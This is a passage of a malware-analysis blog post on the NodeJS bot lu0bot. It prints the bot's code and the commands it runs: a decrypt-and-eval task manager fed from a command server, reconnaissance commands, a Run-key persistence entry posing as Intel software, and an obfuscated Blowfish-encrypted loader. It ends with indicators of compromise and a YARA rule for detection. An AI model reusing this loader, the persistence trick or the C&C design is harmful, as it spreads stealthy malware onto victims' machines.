Buffer&#10; size: , # Size&#10; fcb: &amp;#91;Function], # FailCallBack&#10; rcb: &amp;#91;Function], # ???&#10; interval: 200, # Internval Timer&#10; last_sev: 1622641866909, # Last Timer Event&#10; stmr: false # Script Timer&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h2&gt;Ingenious trick for calling functions dynamically&lt;/h2&gt;&#10;&lt;p&gt;Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like &lt;strong&gt;&lt;em&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress" data-type="URL" data-id="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"&gt;GetProcAddress&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; or &lt;em&gt;&lt;strong&gt;Hashing&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;function sc(m, r) {&#10; if (!m || m.length &amp;lt; 34) return;&#10; m[16] ^= m[2];&#10; m[17] ^= m[3];&#10; var l = m.readUInt16BE(16);&#10; if (18 + l &amp;gt; m.length) return;&#10; var ko = s.pk[r.address + &amp;#39; &amp;#39; + r.port];&#10; var c = crypto.createDecipheriv(&amp;#39;aes-128-cbc&amp;#39;, ko.k, m.slice(0, 16));&#10; m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);&#10; m = {&#10; q: m.readUInt32BE(0),&#10; c: m.readUInt16BE(4),&#10; ko: ko,&#10; d: m.slice(6)&#10; };&#10; l = &amp;#39;c&amp;#39; + m.c; // Function name is now saved&#10; if (s[l]) s[l](m, r);&#10;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;p&gt;&lt;br&gt;As someone that is not really experienced in the NodeJS environment, I wasn't really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I'm wrong). The thing that you need to really take attention to is what is happening with "c" char and &lt;strong&gt;m.c&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;By reading the official NodeJs documemtation: The &lt;strong&gt;Buffer.readUInt16BE()&lt;/strong&gt; method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.&lt;/p&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;Buffer.readUInt16BE( offset )&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;p&gt;In this example it will return in a real case scenario the value "1", so with the variable l, it will create "c1" , a function stored into the global variable s. In the end, &lt;strong&gt;s["c1"](m,r) &lt;/strong&gt;is also meaning&lt;strong&gt; s.c1(m,r).&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h2&gt;A well-done task manager architecture&lt;/h2&gt;&#10;&lt;h3&gt;Q variable used as Macro PoV Task Manager&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;"Q" is designed to be the main task manager.&lt;/li&gt;&lt;li&gt;If Q value is not on LQ, adding it into LQ stack, then executing the code content (with &lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt;) from m (message). &lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;if (!lq&amp;#91;q]) { // if query not in the queue, creating it&#10; lq&amp;#91;q] = &amp;#91;0, false];&#10; setTimeout(function() {&#10; delete lq&amp;#91;q]&#10; }, 30000);&#10; try {&#10; for (var p = 0; p &amp;lt; m.d.length; p++)&#10; if (!m.d&amp;#91;p]) break;&#10; var es = m.d.slice(0, p).toString(); // es -&amp;gt; Execute Script&#10; m.d = m.d.slice(p + 1);&#10; if (!m.d.length) m.d = false;&#10; eval(es) // eval, our sweat eval...&#10; } catch (e) {&#10; console.log(e);&#10; }&#10; return;&#10;}&#10;if (lq&amp;#91;q]&amp;#91;0]) {&#10; s.ss(ko.pid, q, 1, lq&amp;#91;q]&amp;#91;1]);&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;MP variable used as Micro PoV Task Manager&lt;/h3&gt;&#10;&lt;ul&gt;&lt;li&gt;"MP" is designed to execute tasks coming from C&amp;amp;C's.&lt;/li&gt;&lt;li&gt;Each task is executed independantly! &lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;function mp_opnew(m) {&#10;&#10; var o = false; // o -&amp;gt; object&#10; try {&#10; o = JSON.parse(m.d); // m.d (message.data) is saved into o&#10; } catch (e) {}&#10; if (!o || !o.id) return c1r(m, -1); // if o empty, or no id, returning -1 &#10; if (!ko.h&amp;#91;o.hn]) return c1r(m, -2); // if no functions set from hn, returning -2&#10; var mp = ko.mp_new(o.id); // Creating mp ---------------------------&#10; for (var k in o) mp&amp;#91;k] = o&amp;#91;k]; |&#10; var hr = ko.h&amp;#91;o.hn](mp); |&#10; if (!hr) { |&#10; ko.mp_del(mp); |&#10; return c1r(m, -3) // if hr is incomplete, returning -3 |&#10; } |&#10; c1r(m, hr); // returning hr | &#10;} |&#10; |&#10;function mp_new(id, ivl) { &amp;lt;----------------------------------------------------&#10; var ivl = ivl ? ivl : 5000; // ivl -&amp;gt; interval&#10; var now = Date.now(); &#10; if (!lmp&amp;#91;id]) lmp&amp;#91;id] = { // mp list &#10; id: id,&#10; pid: ko.pid,&#10; gen: now,&#10; last: now,&#10; tmr: false,&#10; p: {},&#10; psz: 0,&#10; btotal: 0&#10; };&#10; var mp = lmp&amp;#91;id];&#10; if (!mp.tmr) mp.tmr = setInterval(function() {&#10; if (Date.now() - mp.last &amp;gt; 1000 * 120) {&#10; ko.mp_del(id);&#10; return;&#10; }&#10; if (mp.tcb) mp.tcb(mp);&#10; }, ivl);&#10; mp.last = now;&#10; return mp;&#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;O (Object) - C&amp;amp;C Task &lt;/h3&gt;&#10;&lt;p&gt;This object is receiving tasks from the C&amp;amp;C. Technically, this is (I believed) one of the most interesting variable to track with this malware..&lt;/p&gt;&#10;&lt;ul&gt;&lt;li&gt;It contains 4 or 5 values&lt;ul&gt;&lt;li&gt;&lt;strong&gt;type&lt;/strong&gt;. &lt;ul&gt;&lt;li&gt;upload&lt;/li&gt;&lt;li&gt;download&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;hn &lt;/strong&gt;: Handle Name&lt;/li&gt;&lt;li&gt;&lt;strong&gt;sz&lt;/strong&gt;: Size (Before Zlib decompression)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;psz&lt;/strong&gt;: ???&lt;/li&gt;&lt;li&gt;&lt;strong&gt;target&lt;/strong&gt;: name of the command/script received from C&amp;amp;C&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;// o content&#10;{ &#10; id: 'XXXXXXXXXXXXXXXXX',&#10; type: 'upload',&#10; hn: 'eval',&#10; sz: 9730,&#10; psz: 1163,&#10; target: 'bootstrap-base.js',&#10;} &lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;on this specific scenario, it's uploading on the bot a file from the C&amp;amp;C called "&lt;strong&gt;bootstrap-base.js&lt;/strong&gt;" and it will be called with the handle name (&lt;strong&gt;hn&lt;/strong&gt;) function &lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h3&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;Summary&lt;/span&gt;&lt;/strong&gt;&lt;/h3&gt;&#10;&lt;figure class="wp-block-image size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-task-manager.webp" alt="Diagram of the lu0bot API, from simple queries to module packages and C&amp;amp;C tasks" class="wp-image-3576" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Aggressive telemetry harvester&lt;/h2&gt;&#10;&lt;p&gt;Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.&lt;/p&gt;&#10;&lt;h4&gt;Preparing environment&lt;/h4&gt;&#10;&lt;figure class="wp-block-image size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-script-dir.webp" alt="NodeJS require() calls listing the files present in the script directory" class="wp-image-3477" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;h4&gt;Gathering system information&lt;/h4&gt;&#10;&lt;h5&gt;Process info&lt;/h5&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;tasklist /fo csv /nh&#10;wmic process get processid,parentprocessid,name,executablepath /format:csv&#10;qprocess *&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Network info&lt;/h5&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;ipconfig.exe /all&#10;route.exe print&#10;netstat.exe -ano&#10;systeminfo.exe /fo csv&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Saving Environment &amp;amp; User path(s)&lt;/h5&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-script-get-einfo-2.webp" alt="Environment variables saved as EI_HOME and EI_DESKTOP" class="wp-image-3471" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Saving environment variables EI_HOME (EI = EINFO) &lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;EI_DESKTOP&#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'] + '\\Desktop';&#10;EI_DOCUMENTS &#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'] + '\\Documents';&#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'] + '\\My Documents';&#10;EI_PROGRAMFILES1&#10; |--&amp;gt; var tdir1 = exports.env_get('ProgramFiles');&#10; |--&amp;gt; var tdir2 = exports.env_get('ProgramFiles(x86)');&#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'].substr(0,1) + '\\Program Files (x86)';&#10;EI_PROGRAMFILES2&#10; |--&amp;gt; var tdir3 = exports.env_get('ProgramW6432');&#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'].substr(0,1) + '\\Program Files';&#10;EI_DOWNLOADS&#10; |--&amp;gt; st.env&amp;#91;'EI_HOME'] + '\\Downloads';&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h5&gt;Console information&lt;/h5&gt;&#10;&lt;p&gt;These two variables are basically conditions to check if the process was performed. (&lt;strong&gt;&lt;em&gt;ISCONPROBED&lt;/em&gt;&lt;/strong&gt; is set to true when the whole thing is complete).&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;env&amp;#91;"ISCONPROBED"] = false;&#10;env&amp;#91;"ISCONSOLE"] = true;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Required values for completing the task..&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;env&amp;#91;"WINDIR"] = val;&#10;env&amp;#91;"TEMP"] = val;&#10;env&amp;#91;"USERNAME_RUN"] = val;&#10;env&amp;#91;"USERNAME"] = val;&#10;env&amp;#91;"USERNAME_SID"] = s;&#10;env&amp;#91;"ALLUSERSPROFILE"] = val;&#10;env&amp;#91;"APPDATA"] = val;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h4&gt;Checking old windows versions&lt;/h4&gt;&#10;&lt;p&gt;Curiously, it's checking if the bot is using an old Microsoft Windows version.&lt;/p&gt;&#10;&lt;ul&gt;&lt;li&gt;NT 5.X - Windows 2000/XP&lt;/li&gt;&lt;li&gt;NT 6.0 - Vista&lt;/li&gt;&lt;/ul&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;function check_oldwin(){&#10; var osr = os.release();&#10;&#10; if(osr.indexOf(&amp;#39;5.&amp;#39;)===0 || osr.indexOf(&amp;#39;6.0&amp;#39;)===0) return osr;&#10;&#10; return false;&#10;}&#10;exports.check_oldwin = check_oldwin;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;p&gt;This is basically a condition after for using an alternative command with pslist&lt;/p&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;function ps_list_alt(cb){&#10; var cmd = [&amp;#39;qprocess&amp;#39;,&amp;#39;*&amp;#39;];&#10; if(check_oldwin()) cmd.push(&amp;#39;/system&amp;#39;);&#10; ....&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;h4&gt;Checking ADS streams for hiding content into it for later&lt;/h4&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-script-ads-test.webp" alt="Code testing for NTFS alternate data streams" class="wp-image-3465" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Checking Alternative Data Streams&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;h4&gt;Harvesting functions 101&lt;/h4&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;bufstore_save(key,val,opts) # Save Buffer Storage &#10;bufstore_get(key,clear) # Get Buffer Storage &#10;strstrip(str) # String Strip&#10;name_dirty_fncmp(f1,f2) # Filename Compare (Dirty)&#10;dirvalidate_dirty(file) # Directory Checking (Dirty)&#10;file_checkbusy(file) # Checking if file is used&#10;run_detached(args,opts,show) # Executing command detached&#10;run(args,opts,cb) # Run command&#10;check_oldwin() # Check if Bot OS is NT 5.0 or NT 6.0&#10;ps_list_alt(cb) # PS List (Alternative way)&#10;ps_list_tree(list,results,opts,pid) # PS List Tree&#10;ps_list(arg,cb) # PS list &#10;ps_exist(pid) # Check if PID Exist&#10;ps_kill(pid) # Kill PID&#10;reg_get_parse(out) # Parsing Registry Query Result&#10;reg_hkcu_get() # Get HKCU&#10;reg_hkcu_replace(path) # Replace HKCU Path&#10;reg_get(key,cb) # Get Content&#10;reg_get_dir(key,cb) # Get Directory&#10;reg_get_key(key,cb) # Get SubKey&#10;reg_set_key(key,value,type,cb) # Set SubKey&#10;reg_del_key(key,force,cb) # Del SubKey&#10;get_einfo_1(ext,cb) # Get EINFO Step 1&#10;dirlistinfo(dir,limit) # Directory Listing info &#10;get_einfo_2(fcb) # Get EINFO Step 2&#10;env_get(key,kv,skiple) # Get Environment&#10;console_get(cb) # Get Console environment variables&#10;console_get_done(cb,err) # Console Try/Catch callback&#10;console_get_s0(ccb) # Console Step 0&#10;console_get_s1(ccb) # Console Step 1&#10;console_get_s2(ccb) # Console Step 2&#10;console_get_s3(ccb) # Console Step 3&#10;ads_test() # Checking if bot is using ADS streams&#10;diskser_get_parse(dir,out) # Parse Disk Serial command results&#10;diskser_get(cb) # Get Disk Serial&#10;prepare_dirfile_env(file,cb) # Prepare Directory File Environment&#10;prepare_file_env(file,cb) # Prepare File Environment&#10;hash_md5_var(val) # MD5 Checksum&#10;getosinfo() # Get OS Information&#10;rand(min, max) # Rand() \o/&#10;ipctask_start() # IPC Task Start (Interprocess Communication)&#10;ipctask_tick() # IPC Task Tick (Interprocess Communication)&#10;baseinit_s0(cb) # Baseinit Step 0&#10;baseinit_s1(cb) # Baseinit Step 1&#10;baseinit_s2(cb) # Baseinit Step 2&#10;baseinit_einfo_1_2(cb) # Baseinit EINFO&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h2&gt;Funky Persistence &lt;/h2&gt;&#10;&lt;p&gt;The persistence is saved in the classic HKCU Run path&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;&lt;code&gt;&amp;#91;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&lt;br&gt;"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"&lt;/code&gt;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;Critical files are stored into a fake "&lt;strong&gt;&lt;em&gt;Intel&lt;/em&gt;&lt;/strong&gt;" folder in &lt;strong&gt;&lt;em&gt;ProgramData&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;ProgramData&#10; |-- Intel&#10; |-- Intel(R) Management Engine Components&#10; |--&amp;gt; Intel MEC 246919961&#10; |--&amp;gt; Intel MEC 750293792&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h4&gt;Intel MEC 750293792&lt;/h4&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;new ActiveXObject(&amp;quot;WScript.shell&amp;quot;).Run(&amp;#39;&amp;quot;C:\ProgramData\DNTException\node.exe&amp;quot; &amp;quot;&amp;#39; + WScript.Arguments(0) + &amp;#39;\Intel MEC 246919961&amp;quot; &amp;#39; + WScript.Arguments(1), 0, false);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;h4&gt;Intel MEC 246919961&lt;/h4&gt;&#10;&lt;div class="hcb_wrap"&gt;&lt;pre class="prism undefined-numbers lang-js" data-lang="JavaScript"&gt;&lt;code&gt;var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));&#10;c = require(&amp;quot;crypto&amp;quot;).createDecipheriv(&amp;quot;bf&amp;quot;, c, c);&#10;global[&amp;quot;\x65\x76&amp;quot; + &amp;quot;\x61\x6c&amp;quot;](Buffer.concat([c.update(new Buffer(&amp;quot;XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==&amp;quot;, &amp;quot;\x62\x61\x73&amp;quot; + &amp;quot;\x65\x36\x34&amp;quot;)), c.final()]).toString());&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&lt;p&gt;The workaround is pretty cool in the end&lt;/p&gt;&#10;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;WScript&lt;/strong&gt; is launched after waiting for 30s&lt;/li&gt;&lt;li&gt;JScript is calling "Intel MEC 750293792" &lt;/li&gt;&lt;li&gt;"Intel MEC 750293792" is executing node.exe with arguments from the upper layer&lt;/li&gt;&lt;li&gt;This setup is triggering the script "Intel MEC 246919961"&lt;ul&gt;&lt;li&gt;the Integer value from the upper layer(s) is part of the &lt;strong&gt;Blowfish key &lt;/strong&gt;generation&lt;/li&gt;&lt;li&gt;global["\x65\x76" + "\x61\x6c"] is in fact hiding an &lt;strong&gt;&lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt;&lt;/strong&gt; call&lt;/li&gt;&lt;li&gt;the encrypted buffer is storing the &lt;strong&gt;lu0bot NodeJS loader&lt;/strong&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h2&gt;Ongoing troubleshooting in production?&lt;/h2&gt;&#10;&lt;p&gt;It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it's intended or no, but it's pretty cool to see about what the maldev is working.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-script-baseinit-s2-comments.webp" alt="Commented-out lines in bootstrap-base.js, possibly left over from debugging" class="wp-image-3481" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;It feels like a possible debugging scenario for understanding an issue.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-script-comments.webp" alt="More commented-out lines in a lu0bot script" class="wp-image-3482" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;h2&gt;Outdated NodeJS still living and kickin'&lt;/h2&gt;&#10;&lt;p&gt;Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-node-version.webp" alt="node.exe version used by lu0bot, an outdated build" class="wp-image-3463" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;node.exe used by lu0bot is an outdated one&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;This build (0.10.48), &lt;a href="https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V010.md" data-type="URL" data-id="https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V010.md"&gt;is apparently from 2016&lt;/a&gt;, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn't yet implemented at that time.&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-node-changelog.webp" alt="NodeJS changelog showing the 2016 build used by lu0bot" class="wp-image-3468" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;NodeJs used is from a 2016 build.&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large is-resized"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-what-year-is-it.webp" alt="'What year is it?' meme about the 2016 NodeJS build" class="wp-image-3494" width="500" height="428" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;I feel old by looking the changelog...&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;The issue mentioned above is "seen" when lu0bot is pushing and executing "&lt;strong&gt;bootstrap-base.js&lt;/strong&gt;". On build 0.10.XXX, "&lt;strong&gt;Buffer&lt;/strong&gt;" wasn't fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this "interesting", because it means it will stay with a static &lt;strong&gt;NodeJS &lt;/strong&gt;runtime environment that won't change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).&lt;/p&gt;&#10;&lt;div class="wp-block-image"&gt;&lt;figure class="aligncenter size-large"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2021/06/lu0bot-nodejs-baseinit-stage.webp" alt="Module version value in bootstrap-base.js" class="wp-image-3469" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Interesting module version value in bootstrap-base.js&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&#10;&lt;p&gt;Of course, We couldn't deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness. &lt;/p&gt;&#10;&lt;p&gt;By looking into "bootstrap-base.js", the module is apparently already on version "6.0.15", but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.&lt;/p&gt;&#10;&lt;h2&gt;What is the purpose of lu0bot?&lt;/h2&gt;&#10;&lt;p&gt;Well, to be honest, I don’t know… I hate making suggestions with too little information, it's dangerous and too risky. I don’t want to lead people to the wrong path. It's already complicated to explain something with no "public" records, even more, when it is in a programming language for that specific purpose. At this stage, It's smarter to focus on what the code is able to do, and it is certain that &lt;em&gt;&lt;strong&gt;it's a decent data collector&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&#10;&lt;p&gt;Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the &lt;strong&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"&gt;eval&lt;/a&gt;&lt;/strong&gt; function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :&lt;/p&gt;&#10;&lt;ul&gt;&lt;li&gt;Backdoor?&lt;/li&gt;&lt;li&gt;Loader?&lt;/li&gt;&lt;li&gt;RAT?&lt;/li&gt;&lt;li&gt;Infostealer?&lt;/li&gt;&lt;/ul&gt;&#10;&lt;p&gt;All scenario are possible, but as i said before I could be right or totally wrong.&lt;/p&gt;&#10;&lt;h2&gt;Where it could be seen?&lt;/h2&gt;&#10;&lt;p&gt;Currently, it seems that lu0bot is pushed by the well-known load seller &lt;a href="https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a" data-type="URL" data-id="https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a"&gt;Garbage Cleaner&lt;/a&gt; on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days. &lt;/p&gt;&#10;&lt;h2&gt;Appendix&lt;/h2&gt;&#10;&lt;h3&gt;IoCs&lt;/h3&gt;&#10;&lt;h4&gt;IP&lt;/h4&gt;&#10;&lt;ul&gt;&lt;li&gt;5.188.206[.]211&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h4&gt;lu0bot loader C&amp;amp;C's (HTTP)&lt;/h4&gt;&#10;&lt;ul id="block-6a7088a9-750a-4612-a091-d7a605ec5ee4"&gt;&lt;li&gt;hr0[.]xyz&lt;/li&gt;&lt;li&gt;hr1[.]xyz&lt;/li&gt;&lt;li&gt;hr2[.]xyz&lt;/li&gt;&lt;li&gt;hr3[.]xyz&lt;/li&gt;&lt;li&gt;hr4[.]xyz&lt;/li&gt;&lt;li&gt;hr5[.]xyz&lt;/li&gt;&lt;li&gt;hr6[.]xyz&lt;/li&gt;&lt;li&gt;hr7[.]xyz&lt;/li&gt;&lt;li&gt;hr8[.]xyz&lt;/li&gt;&lt;li&gt;hr9[.]xyz&lt;/li&gt;&lt;li&gt;hr10[.]xyz&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h4&gt;lu0bot main C&amp;amp;C's (UDP side)&lt;/h4&gt;&#10;&lt;ul&gt;&lt;li&gt;lu00[.]xyz&lt;/li&gt;&lt;li&gt;lu01[.]xyz&lt;/li&gt;&lt;li&gt;lu02[.]xyz&lt;/li&gt;&lt;li&gt;lu03[.]xyz&lt;/li&gt;&lt;/ul&gt;&#10;&lt;h3&gt;Yara&lt;/h3&gt;&#10;&lt;pre class="wp-block-code"&gt;&lt;code&gt;rule lu0bot_cpp_loader&#10;{&#10; meta:&#10; author = "Fumik0_"&#10; description = "Detecting lu0bot C/C++ lightweight loader"&#10;&#10; strings:&#10; $hex_1 = {&#10; BE 00 20 40 00 &#10; 89 F7 &#10; 89 F0&#10; 81 C7 ?? 01 00 00 &#10; 81 2E ?? ?? ?? ?? &#10; 83 C6 04 &#10; 39 FE &#10; 7C ?? &#10; BB 00 00 00 00 &#10; 53 50 &#10; E8 ?? ?? ?? ??&#10; E9 ?? ?? ?? ??&#10; }&#10; &#10; condition:&#10; (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and&#10; (filesize &amp;gt; 2KB and filesize &amp;lt; 5KB) and &#10; any of them&#10; &#10;}&lt;/code&gt;&lt;/pre&gt;&#10;&lt;h3&gt;IoCs&lt;/h3&gt;&#10;&lt;pre class="wp-block-preformatted"&gt;fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2 Lu0bot loader.exe&#10;c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf Lu0bot loader.exe&#10;b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad Lu0bot loader.exe&#10;5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f Lu0bot loader.exe&#10;f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92 Lu0bot 